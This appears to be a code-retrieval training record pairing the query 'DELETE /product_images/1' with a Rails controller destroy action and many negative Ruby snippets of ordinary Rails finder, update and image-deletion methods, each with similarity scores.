"def update\n @campus_detail = CampusDetail.find(params[:id])\n\n respond_to do |format|\n if @campus_detail.update_attributes(params[:campus_detail])\n format.html { redirect_to @campus_detail, notice: 'Campus detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @campus_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_ingreso_campana\n @ingreso_campana = IngresoCampana.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club\n @club = Club.find(params[:id])\n end",
"def set_club_student\n @club_student = ClubStudent.find(params[:id])\n end",
"def set_city_selection\n @city_selection = CitySelection.find(params[:id])\n end",
"def update\n @camp = Camp.find(params[:id])\n\n respond_to do |format|\n if @camp.update_attributes(params[:camp])\n format.html { redirect_to @camp, notice: 'Camp was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @camp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n campsite = Campsite.find params[:id]\n campsite.update(\n name: params[:name],\n location: params[:location],\n campsite_type: params[:campsite_type],\n max_people: params[:max_people],\n per_night: params[:per_night]\n\n )\n\n # redirect to the show page for the campsite we just updated\n redirect_to( campsite_path(campsite.id) )\n end",
"def set_club\n\n @club = Club.find(params[:id])\n\n end",
"def set_chosain\n @chosain = Chosain.find(params[:id])\n end",
"def set_coursub\n @coursub = Coursub.find(params[:id])\n end",
"def update\n @camp = Camp.find(params[:id])\n\n respond_to do |format|\n if @camp.update_attributes(params[:camp])\n format.html { redirect_to @camp, notice: 'Camp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @camp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_club\n @club = Club.find(params[:id])\n @place = Place.find(@club.place_id)\n #devolve-nos a relacao que contem todos os UserClubs correspondentes ao clube com id = @club.id\n @users_clubs = UserClub.where(\"club_id = #{params[:id]}\")\n end",
"def set_code_club_school\n @code_club_school = CodeClubSchool.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @campus.update(campus_params)\n format.html { redirect_to campuses_path, notice: t('flash.campus.update') }\n format.json { render :show, status: :ok, location: @campus }\n else\n format.html { render :edit }\n format.json { render json: @campus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validate_selected_one_campus\n if campuses.empty?\n errors.add(:campuses, \"No se ha seleccionado un campus para publicar esta noticia\")\n end\n end",
"def set_academic_unit\n @academic_unit = AcademicUnit.find(params[:id])\n end",
"def set_citizen_form\n @citizen_form = CitizenForm.find(params[:id])\n end",
"def set_faculty\n @faculty = Faculty.find(params[:id])\n end",
"def set_faculty\n @faculty = Faculty.find(params[:id])\n end",
"def set_faculty\n @faculty = Faculty.find(params[:id])\n end",
"def set_relief_camp_admin\n @relief_camp_admin = ReliefCampAdmin.find(params[:id])\n end",
"def index\n @campuses = Campus.all\n end",
"def set_courier\n @courier = Courier.find(params[:id])\n end",
"def set_admin_club\n @admin_club = Admin::Club.find(params[:id])\n end",
"def set_cody_and_amanda\n @cody_and_amanda = CodyAndAmanda.find(params[:id])\n end",
"def set_alumni\n @alumni = Alumni.find(params[:id])\n end",
"def set_alumni\n @alumni = Alumni.find(params[:id])\n end",
"def set_faculty\n @faculty = Faculty.find(params[:id])\n end",
"def set_faculty\n @faculty = Faculty.find(params[:id])\n end",
"def set_caja_sucursal\n @caja_sucursal = CajaSucursal.find(params[:id])\n end",
"def set_clase_unit\n @clase_unit = ClaseUnit.find(params[:id])\n end",
"def form_escolher\n lst_from.select 'London'\n lst_on.select 'December'\n lst_month.select '20'\n lst_arriving.select 'Acapulco'\n lst_returning.select 'October'\n lst_month_returning.select '21'\n check_port.click\n lst_airline.select 'Blue Skies Airlines'\n end",
"def set_citacao\n @citacao = Citacao.find(params[:id])\n end",
"def set_course\n @course = current_professor.courses.find(params[:course_id])\n end",
"def set_clinica\n @clinica = Clinica.find(params[:id])\n end",
"def set_selections( action )\n @sir_groups = Group.active_only.participants_only.collect{ |g| [ g.code_and_label, g.id ]}\n @sir_phases = PhaseCode.all.order( :code ).collect{ |p| [ p.code_and_label, p.id ]}\n end",
"def set_clinica\n @clinica = Clinica.find(session[:clinica_id])\n end",
"def set_causal\n @causal = Causal.find(params[:id])\n end",
"def set_citizen\n @citizen = Citizen.find(params[:id])\n end",
"def set_user\n @clinician = current_user\n end",
"def set_contractual_labour\n @contractual_labour = ContractualLabour.find(params[:id])\n end",
"def set_career\n @career = Career.find(params[:id], params[:faculty_id])\n end",
"def set_city\n if current_user.is_admin\n # @city = City.find(params[:id])\n @city = City.friendly.find(params[:id])\n else\n redirect_to dashboard_index_path, alert: 'You don\\'t have permission to do that.'\n end\n end",
"def set_church_staff\n @church_staff = ChurchStaff.friendly.find(params[:id])\n end",
"def set_projects_users_cursu\n @projects_users_cursus = FortyTwo::ProjectsUsersCursus.find(params[:id])\n end",
"def set_projeto\n @projeto = Projeto.accessible_by(current_ability).find(params[:id])\n end",
"def set_casa_org\n @casa_org = CasaOrg.find(params[:id])\n end",
"def set_applicant_field_of_study\n @applicant_field_of_study = ApplicantFieldOfStudy.find(params[:id])\n end",
"def edit_patron(selected)\n\tedit_patron_name(selected)\n\tedit_patron_email_address(selected)\nend",
"def set_commecial_unit\n @commecial_unit = CommecialUnit.find(params[:id])\n end",
"def school\n if params[\"form_school\"]\n Members.update(@account[\"Name\"],params[\"form_school\"])\n end\n @account = Members.find(params[:id])\n end",
"def set_rights\n @rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_usach_complaint\n @usach_complaint = UsachComplaint.find(params[:id])\n end",
"def set_facility\n @facility = Facility.find(params[:facility_id])\n end",
"def set_comanda\n @comanda = Comanda.find(params[:id])\n end",
"def set_comanda\n @comanda = Comanda.find(params[:id])\n end",
"def edit\n set_student\n @courses = Course.all\n end",
"def set_alumni\n @account = Account.alumni.find(params[:id])\n end",
"def set_clam\n @clam = Clam.find(params[:id])\n end"
] | [
"0.7276875",
"0.7276875",
"0.7161035",
"0.6756827",
"0.66113436",
"0.66113436",
"0.6576283",
"0.63581693",
"0.6319095",
"0.6306829",
"0.6298922",
"0.6291316",
"0.62602043",
"0.616409",
"0.6157388",
"0.61175483",
"0.5988594",
"0.594539",
"0.59240127",
"0.5799974",
"0.5795036",
"0.5793252",
"0.5788911",
"0.5744118",
"0.57224154",
"0.5631789",
"0.5627101",
"0.5606754",
"0.5587023",
"0.5558981",
"0.55434185",
"0.55427665",
"0.5526679",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.5522373",
"0.55140644",
"0.5503676",
"0.54996955",
"0.54874593",
"0.5476534",
"0.54699767",
"0.5468074",
"0.5462498",
"0.5450935",
"0.54414696",
"0.5424453",
"0.54192114",
"0.54089814",
"0.5408777",
"0.54029715",
"0.54029715",
"0.54029715",
"0.53965807",
"0.5392782",
"0.5387574",
"0.53813183",
"0.5380239",
"0.53801537",
"0.53801537",
"0.53694814",
"0.53694814",
"0.53668284",
"0.53554064",
"0.53530675",
"0.53513086",
"0.5343114",
"0.5336108",
"0.5335081",
"0.53259826",
"0.5324453",
"0.53071195",
"0.5305763",
"0.53034776",
"0.5296299",
"0.529553",
"0.5292632",
"0.52889585",
"0.5288929",
"0.5287275",
"0.5285598",
"0.5285098",
"0.52832717",
"0.5280757",
"0.52775997",
"0.5274711",
"0.5271775",
"0.52653503",
"0.52653503",
"0.52644426",
"0.52627",
"0.5249211"
] | 0.6233788 | 13 |
% x: String > String % x: (Class,?String) > Class | def x(y)
raise "Nope" unless y.kind_of?(Class)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def BaseClass(name)\n name == \"string\" ? String : Object\nend",
"def BaseClass(name)\n name == \"string\" ? String : Object\nend",
"def string_class_name?(class_pair)\n class_pair.children[1].str_type?\n end",
"def BaseClass name\n name == \"string\" ? String : Object\nend",
"def class=(_arg0); end",
"def resolve_class object\n ::Class === object ? object : (::String === object ? (class_for_name object) : nil)\n end",
"def is_strclass?(); @type == GRT_STRCLASS; end",
"def string_to_class string\n chain = string.split \"::\"\n i=0\n res = chain.inject(Module) do |ans,obj|\n break if ans.nil?\n i+=1\n klass = ans.const_get(obj)\n # Make sure the current obj is a valid class\n # Or it's a module but not the last element,\n # as the last element should be a class\n klass.is_a?(Class) || (klass.is_a?(Module) and i != chain.length) ? klass : nil\n end\nrescue NameError\n nil\nend",
"def isClass _args\n \"isClass _args;\" \n end",
"def type(*args); end",
"def type_klass=(_arg0); end",
"def match(klass); end",
"def param_class; param.source['class'].constantize; end",
"def name_and_class\n [name, self['class']].compact.join('.')\n end",
"def as_java_type(string)\n type = primitive? string\n return type if type\n\n if string.is_a?(Java::OrgJrubyAstJava_signature::ReferenceTypeNode)\n return eval make_class_jiable(string.getFullyTypedName())\n end\n\n # If annotation makes it in strip @ before we try and match it.\n string = string[1..-1] if string.start_with? '@'\n\n eval make_class_jiable(string)\n end",
"def typecast_to_class(value)\n value.to_s.constantize\n rescue NameError\n nil\n end",
"def coerce(str, clazz)\n return str if str.kind_of?(clazz)\n if clazz == NilClass\n return nil if str.empty? or str == \"nil\"\n elsif clazz == Ruby::Boolean\n return true if str.to_s == \"true\"\n return false if str.to_s == \"false\"\n elsif clazz == TrueClass\n return true if str == \"true\"\n elsif clazz == FalseClass\n return false if str == \"false\"\n elsif [Fixnum, Bignum, Integer].include?(clazz)\n if str =~ /^[-+]?[0-9]+$/\n i = str.to_i\n return i if i.kind_of?(clazz)\n end\n elsif clazz == Float \n if str =~ /^[-+]?[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?$/\n return str.to_f\n end\n elsif clazz == String\n return str\n elsif clazz == Symbol\n return str.to_sym\n elsif clazz == Class or clazz == Module\n parts, current = str.split(\"::\"), Kernel\n parts.each{|part| current = current.const_get(part.to_sym)}\n return current if current.kind_of?(clazz)\n elsif clazz == Regexp\n return Regexp::compile(str)\n elsif clazz.respond_to?(:parse)\n return clazz.parse(str)\n end\n raise TypeSystem::CoercionError, \"Unable to coerce #{str} to a #{clazz}\"\n rescue TypeSystem::CoercionError\n raise\n rescue StandardError => ex\n raise TypeSystem::CoercionError, \"Unable to coerce #{str} to a #{clazz}: #{ex.message}\"\n end",
"def class=(str)\n `this.__native__.className=str.__value__`\n return str\n end",
"def class_family\r\n begin\r\n result, klass = '', self\r\n\r\n begin\r\n klass = klass.class unless klass.instance_of?(Class)\r\n result << klass.to_s\r\n klass = klass.superclass\r\n result << \"<\" if klass\r\n end while klass\r\n\r\n result\r\n end\r\n end",
"def with_class_alias(x); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def type=(_arg0); end",
"def extract_class(string)\n uncapitalize(string.split('::').last)\n end",
"def java_types(params)\n return nil if params.nil?\n\n params.map {|e| e.class.java_class.name }.to_java(:string)\n end",
"def instance_type=(_arg0); end",
"def typeOf _args\n \"typeOf _args;\" \n end",
"def _wrapper_classes(attribute, *classes)\n classes.compact.tap do |klasses|\n klasses.push 'has-error' if self.errors_on?(attribute)\n end.join(' ')\n end",
"def type(type); end",
"def type\n self.class.name.split(':').last.downcase\n end",
"def refute_kind_of(cls, obj, msg = T.unsafe(nil)); end",
"def strclass() @records.get_data(GRT_STRCLASS); end",
"def class_to_str(obj)\n obj.class.to_s.downcase\n end",
"def get_class()\n result = nil\n @cont.each { |line|\n if line =~ /\\s*\\w+\\s*=/\n result = /\\w+/.match(line)[0]\n break\n end\n }\n return result\n end",
"def human_name(klass = T.unsafe(nil)); end",
"def human_name(klass = T.unsafe(nil)); end",
"def get_as_class_name obj\n # Get class name\n if obj.is_a?(String)\n ruby_class_name = obj\n elsif obj.is_a?(RocketAMF::Values::TypedHash)\n ruby_class_name = obj.type\n elsif obj.is_a?(Hash)\n return nil\n elsif obj.is_a?(RubyAMF::IntermediateObject)\n ruby_class_name = obj.object.class.name\n else\n ruby_class_name = obj.class.name\n end\n\n # Get AS class name\n as_class_name = @mappings.get_as_class_name ruby_class_name\n\n # Auto-map if necessary, removing namespacing to create mapped class name\n if RubyAMF.configuration.auto_class_mapping && ruby_class_name && as_class_name.nil?\n as_class_name = ruby_class_name.split('::').pop\n @mappings.map :as => as_class_name, :ruby => ruby_class_name\n end\n\n as_class_name\n end",
"def class_name\n %x{\n var first = self[0];\n return (first && first.className) || \"\";\n }\n end",
"def class; end",
"def class; end",
"def type\n self.class.to_s.downcase\n end",
"def type_of_input(x)\n\n # Remember that the .class method tells you the type of a variable.\n if (x.class == Fixnum) then\n return \"number\"\n # elsif (x.class == ** fill in something here **) then\n # To make this work, you have to figure out what Ruby type is a string, just as it calls numbers Fixnum\n # return \"string\"\n end\nend",
"def get_class_for(symb, default)\n (read_attribute(symb).presence || default).constantize\n end",
"def test_class_names_are_just_constants\n assert_equal true, MyString == ::String\n assert_equal true, MyString == \"HI\".class\n end",
"def sti_class(v)\n case v\n when String, Symbol\n constantize(v) rescue self\n when nil\n self\n when Class\n v\n else\n raise(Error, \"Invalid class type used: #{v.inspect}\")\n end\n end",
"def to_class_name\n to_s.gsub('&', 'and').gsub(/[\\- ]/, '_').camelize(:upper)\n end",
"def print_argument(argument)\n first_class = argument.class\n puts argument\n puts \"argument: #{argument}\"\n puts \"class: #{first_class}\"\n end",
"def string?; end",
"def class_name_parameters(class_def)\n\n\n\n # 32:7: '<' ( class_special_identifier[class_def] )* '>'\n match(:LEFT_ANGULAR_BRACKET)\n class_def.name += '<'\n # 33:7: ( class_special_identifier[class_def] )*\n while true\n alt5 = 2\n # ()* loopback of 33:7: ( class_special_identifier[class_def] )*\n look_ahead5_0 = look_ahead(1)\n if look_ahead5_0 == :RIGHT_ANGULAR_BRACKET \n # ()* loopback of 33:7: ( class_special_identifier[class_def] )*\n look_ahead5_1 = look_ahead(2)\n if look_ahead5_1 == :EXTENDS \n # ()* loopback of 33:7: ( class_special_identifier[class_def] )*\n look_ahead5_3 = look_ahead(3)\n if look_ahead5_3 == :IDENTIFIER \n # ()* loopback of 33:7: ( class_special_identifier[class_def] )*\n look_ahead5_5 = look_ahead(4)\n if (TOKENS[look_ahead5_5] >= 5 && TOKENS[look_ahead5_5] <= 6) || (TOKENS[look_ahead5_5] >= 25 && TOKENS[look_ahead5_5] <= 28) \n alt5 = 1\n end\n elsif look_ahead5_3 == :EXTENDS || (TOKENS[look_ahead5_3] >= 25 && TOKENS[look_ahead5_3] <= 28) \n alt5 = 1\n end\n elsif look_ahead5_1 == :IDENTIFIER || (TOKENS[look_ahead5_1] >= 25 && TOKENS[look_ahead5_1] <= 28) \n alt5 = 1\n end\n elsif (TOKENS[look_ahead5_0] >= 5 && TOKENS[look_ahead5_0] <= 6) || look_ahead5_0 == :LEFT_ANGULAR_BRACKET || (TOKENS[look_ahead5_0] >= 27 && TOKENS[look_ahead5_0] <= 28) \n alt5 = 1\n end\n case alt5\n when 1\n # 33:9: class_special_identifier[class_def]\n class_special_identifier(class_def)\n\n else\n break\n end\n end\n match(:RIGHT_ANGULAR_BRACKET)\n class_def.name += '>'\n\n\n\n end",
"def nonregular_type; end",
"def print_class(*) end",
"def klass=(_arg0); end",
"def type; self.class.name.split('::').last.to_sym; end",
"def infer_type( name )\n as_string = name.to_s\n parts = as_string.split(\"_\")\n if( [\"reg\" , \"obj\" , \"tmp\" , \"self\" , \"const\", \"1\" , \"2\"].include?( parts.last ) )\n parts.pop\n as_string = parts.join(\"_\")\n end\n as_string = \"word\" if as_string == \"name\"\n as_string = \"message\" if as_string == \"next_message\"\n as_string = \"message\" if as_string == \"caller\"\n sym = as_string.camelise.to_sym\n clazz = Parfait.object_space.get_class_by_name(sym)\n raise \"Not implemented/found object #{name}:#{sym}\" unless clazz\n return clazz.instance_type\n end",
"def required_class; end",
"def test_nested_string_is_not_the_same_as_the_system_string\n # puts String # > AboutScope::String\n # puts \"HI\".class # > String\n assert_equal false, String == \"HI\".class\n end",
"def coerce(oth)\n case oth\n when String\n oth = parser.parse(oth)\n else\n super\n end\n\n return oth, self\n end",
"def to_type(str)\n if str && type && !mapping\n send(\"parse_#{type}\", str)\n elsif str && mapping && mapping.values.map(&:to_s).include?(str)\n mapping.find { |_, v| v.to_s == str.to_s }[0]\n else\n str\n end\n end",
"def type\n singleton ? 'class' : 'instance'\n end",
"def type\n singleton ? 'class' : 'instance'\n end",
"def type\n singleton ? 'class' : 'instance'\n end",
"def type=(_); end",
"def type=(_); end",
"def type=(_); end",
"def type=(_); end",
"def type=(_); end",
"def difftype() [1, \"s\"] end",
"def get_class_definition(n, algebraic_structure)\n # Example: \"T,U\"\n type_values_commaed = TYPE_SYMBOLS.first(n).join(\", \")\n \"class Product#{n}#{algebraic_structure.capitalize}[X, #{type_values_commaed}](apply: (#{type_values_commaed}) => X, unapply: X => Option[(#{type_values_commaed})])(implicit #{get_type_parameters(n, algebraic_structure)}) extends #{algebraic_structure.capitalize}[X]\"\nend",
"def type\n self.class.name.downcase\n end",
"def type\n self.class.name.split(/#{NSEP}/).last.gsub(/Object$/, '').downcase.to_sym\n end",
"def alternate_again\n @class\n end",
"def className _args\n \"className _args;\" \n end",
"def parse_klass_and_id\n klass = params[:commentable].constantize\n commentable_id = \"#{klass}_id\".downcase.to_sym\n return klass, commentable_id\n end",
"def yard_type_string\n if association?(ast)\n yard_type_from_association(ast)\n elsif collection?(ast)\n yard_type_from_collection(ast)\n elsif ast.ref?\n yard_type_from_reference(ast)\n elsif !ast[0].nil?\n Type.new(ast[0]).yard_type_string\n else\n nil\n end\n end",
"def method_missing(name, *arguments)\n str_name = name.to_s\n\n if str_name =~ /\\w+\\?/ && Types::NAMES.include?(str_name.chop)\n klass_name = str_name.sub(/\\?/, '').capitalize\n self.class.class_name == klass_name\n else\n raise NoMethodError, \"undefined method: #{name}\"\n end\n end",
"def generic_class_glb_bottom\n ret = T.cast(nil, T.all(String, T::Hash[String, String]))\n foo # error: This code is unreachable\n end",
"def type _args\n \"type _args;\" \n end",
"def helper_class=(_arg0); end",
"def class_name object\n return object.class.to_s.split(/(?=[A-Z])/).join(' ')\n end",
"def types=(_arg0); end",
"def parse_type(string, local=false)\n #log \"parse_type(#{string.inspect}, #{local})\"\n\n tokens = string.strip.split(/\\s+/)\n token = tokens.shift\n\n unless /^([a-zA-Z]\\w+)(<.+)?/ === token\n raise \"First token is not a valid Java identifier: #{token}\"\n end\n\n name = $1\n parameters = $2\n package = local && @package\n\n file_entity = @name.split('.').first\n name = \"#{file_entity}$#{name}\" if local && name != file_entity\n\n #log \" package: #{package.inspect}\"\n #log \" name: #{name.inspect}\"\n #log \" parameters: #{parameters.inspect}\"\n #log \" tokens: #{tokens.inspect}\"\n\n if parameters\n while !tokens.empty? && parameters.count('<') != parameters.count('>')\n parameters << \" \" << tokens.shift\n end\n unless parameters.count('<') == parameters.count('>')\n raise \"Unbalanced parameters in type: #{string}\" if tokens.empty?\n end\n parameters = parameters[1...(parameters.length-1)].split(/,\\s*/)\n end\n\n [JavaType.new(package, name, parameters), tokens.join(' ')]\n end",
"def input_type_to_class(input_type)\n class_mappings = { :text_field => 'text', :password_field => 'text' }\n class_mappings[input_type.to_sym] || nil\n end",
"def class_special_identifier(class_def)\n \t_IDENTIFIER2 = nil\n \t_EXTENDS3 = nil\n\n\n\n\n # 38:5: ( IDENTIFIER | ',' | '&' | '<' | '>' | EXTENDS )\n alt6 = 6\n # 37:1: class_special_identifier[class_def] : ( IDENTIFIER | ',' | '&' | '<' | '>' | EXTENDS );\n case look_ahead(1)\n when :IDENTIFIER\n alt6 = 1\n when :COMMA\n alt6 = 2\n when :ECOMMERCIAL\n alt6 = 3\n when :LEFT_ANGULAR_BRACKET\n alt6 = 4\n when :RIGHT_ANGULAR_BRACKET\n alt6 = 5\n when :EXTENDS\n alt6 = 6\n else\n raise \"Expected: 37:1: class_special_identifier[class_def] : ( IDENTIFIER | ',' | '&' | '<' | '>' | EXTENDS );\"\n\n end\n case alt6\n when 1\n # 38:7: IDENTIFIER\n _IDENTIFIER2 = @input.look_ahead(1)\n match(:IDENTIFIER)\n class_def.name += _IDENTIFIER2.text\n when 2\n # 39:7: ','\n match(:COMMA)\n class_def.name += \", \"\n when 3\n # 40:7: '&'\n match(:ECOMMERCIAL)\n class_def.name += \" & \"\n when 4\n # 41:7: '<'\n match(:LEFT_ANGULAR_BRACKET)\n class_def.name += '<'\n when 5\n # 42:7: '>'\n match(:RIGHT_ANGULAR_BRACKET)\n class_def.name += '>'\n when 6\n # 43:7: EXTENDS\n _EXTENDS3 = @input.look_ahead(1)\n match(:EXTENDS)\n class_def.name += \" #{_EXTENDS3.text} \"\n end\n\n\n\n end",
"def assert_kind(expected_class, actual_object)\n expected_class = expected_class.to_s.camelize # turn the expected class into a camelized string\n actual_object = actual_object.first if actual_object.respond_to? \"each\" # check first item\n assert_equal expected_class, actual_object.class.to_s, \"expected object to be class '#{expected_class}' but was '#{actual_object.class}'\"\n end",
"def class_name\n self.class == Class ? self.name : self.class.name\n end",
"def classible?\n %w[a b c d e].any? { |s| __send__(:\"class_#{s}?\") }\n end",
"def quote_class(value)\n quote_string(value.name)\n end",
"def refute_instance_of(cls, obj, msg = T.unsafe(nil)); end",
"def to_class_name\n self.to_method_name.gsub(/\\/(.?)/) { \"#{$1.upcase}\" }.gsub(/(?:^|_)(.)/) { $1.upcase }\n end",
"def expected_type\n 'string'\n end"
] | [
"0.5744788",
"0.5744788",
"0.5720834",
"0.5656511",
"0.5408179",
"0.5390192",
"0.5355971",
"0.5286536",
"0.509642",
"0.5094011",
"0.5072209",
"0.5069284",
"0.50519705",
"0.5000633",
"0.4993851",
"0.49715284",
"0.49595487",
"0.4958168",
"0.4936281",
"0.49277273",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.49085698",
"0.4892976",
"0.48834544",
"0.48771337",
"0.4872874",
"0.48650151",
"0.4853393",
"0.48491028",
"0.4842377",
"0.4841219",
"0.48287258",
"0.48282802",
"0.48242497",
"0.48242497",
"0.48235053",
"0.4823222",
"0.4797557",
"0.4797557",
"0.4790522",
"0.4774937",
"0.47554094",
"0.4751732",
"0.47495043",
"0.47484198",
"0.47446224",
"0.47432292",
"0.47346935",
"0.47331142",
"0.47299674",
"0.47223502",
"0.4721567",
"0.47067627",
"0.47043422",
"0.4703231",
"0.4699964",
"0.46794954",
"0.46793002",
"0.46793002",
"0.46793002",
"0.46762675",
"0.46762675",
"0.46762675",
"0.46762675",
"0.46762675",
"0.466409",
"0.46516216",
"0.46514696",
"0.4647788",
"0.4632209",
"0.46298015",
"0.46202216",
"0.46150357",
"0.4611952",
"0.46007735",
"0.46003684",
"0.45982796",
"0.45982543",
"0.45969194",
"0.45943585",
"0.45927835",
"0.45773512",
"0.457732",
"0.45766646",
"0.4575232",
"0.4573581",
"0.4573466",
"0.4570257",
"0.4568251"
] | 0.5230175 | 8 |
DELETE /product_images/1 DELETE /product_images/1.json | def destroy
@workshop_images = WorkshopImage.find(params[:id])
@workshop_images.destroy
#back to previouse page with the same parameter
redirect_to :back
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n render json: {status: \"success\"}, status: :ok\n end",
"def delete\n item = FormImage.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end",
"def destroy\n @image.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_image.destroy\n respond_to do |format|\n format.html { redirect_to product_images_url, notice: 'Product image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteEntityImage( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/image\",params)\n end",
"def destroy\n #Finds selected image\n @image = Image.find(params[:id])\n #destroy image\n @image.destroy\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n \n imagen = @image.filename\n \n #function in manage_images.rb\n remove_image_file(imagen)\n \n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :ok }\n end\n end",
"def destroy\n if @product_image.destroy \n render body: \"\", status: 204\n else\n # :nocov:\n render_error 400, @product_image.errors.full_messages\n # :nocov:\n end\n end",
"def destroy\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.json { head :ok }\n end\n end",
"def images_delete\n\t\tpparams = params.permit(:images)\n\t\t\n\t\tif(pparams[:images].blank?)\n\t\t\trender :json => {:status => 'error', :status_text => 'Не указаны изображения для удаления.'}\n\t\t\treturn\n\t\tend\n\t\t\n\t\tret = {:status => 'error', :status_text => 'Изображение не связано с данным товаром!'}\n\t\t\n\t\tif(@product[:photo_ids].present?)\n\t\t\t\n\t\t\t\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html {\n\t\t\t\trender :json => ret,\n\t\t\t\t:content_type => 'text/html',\n\t\t\t\t:layout => false\n\t\t\t}\n\t\t\t\n\t\t\tformat.json { \n\t\t\t\trender :json => ret\n\t\t\t}\n\t\tend\n\tend",
"def deletePictureFromProduct()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n o = Product.find(params[:id])\n pic_list = JSON.parse(o.picture_list)\n if(params[:index].to_i > pic_list.length)\n render json: {status: false, reason: \"Index out of range\", data: \"\"}\n return\n end\n pic_list.delete(params[:index])\n status = o.update(picture_list: pic_list.to_json)\n error = \"\"\n if(o.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n image = Image.find(params[:id])\n if image.user_id == current_user.id\n image.destroy\n render json:{}, status:201\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was deleted successfully.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.image.destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n Image.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def image_destroy\n result = RestaurantManage.image_destroy(@restaurant, params[:pic_id])\n get_restaurant()\n render json: result\n end",
"def destroy\n @home_categories_products_indices_photo = Home::Categories::Products::Indices::Photo.find(params[:id])\n @home_categories_products_indices_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to home_categories_products_indices_photos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end",
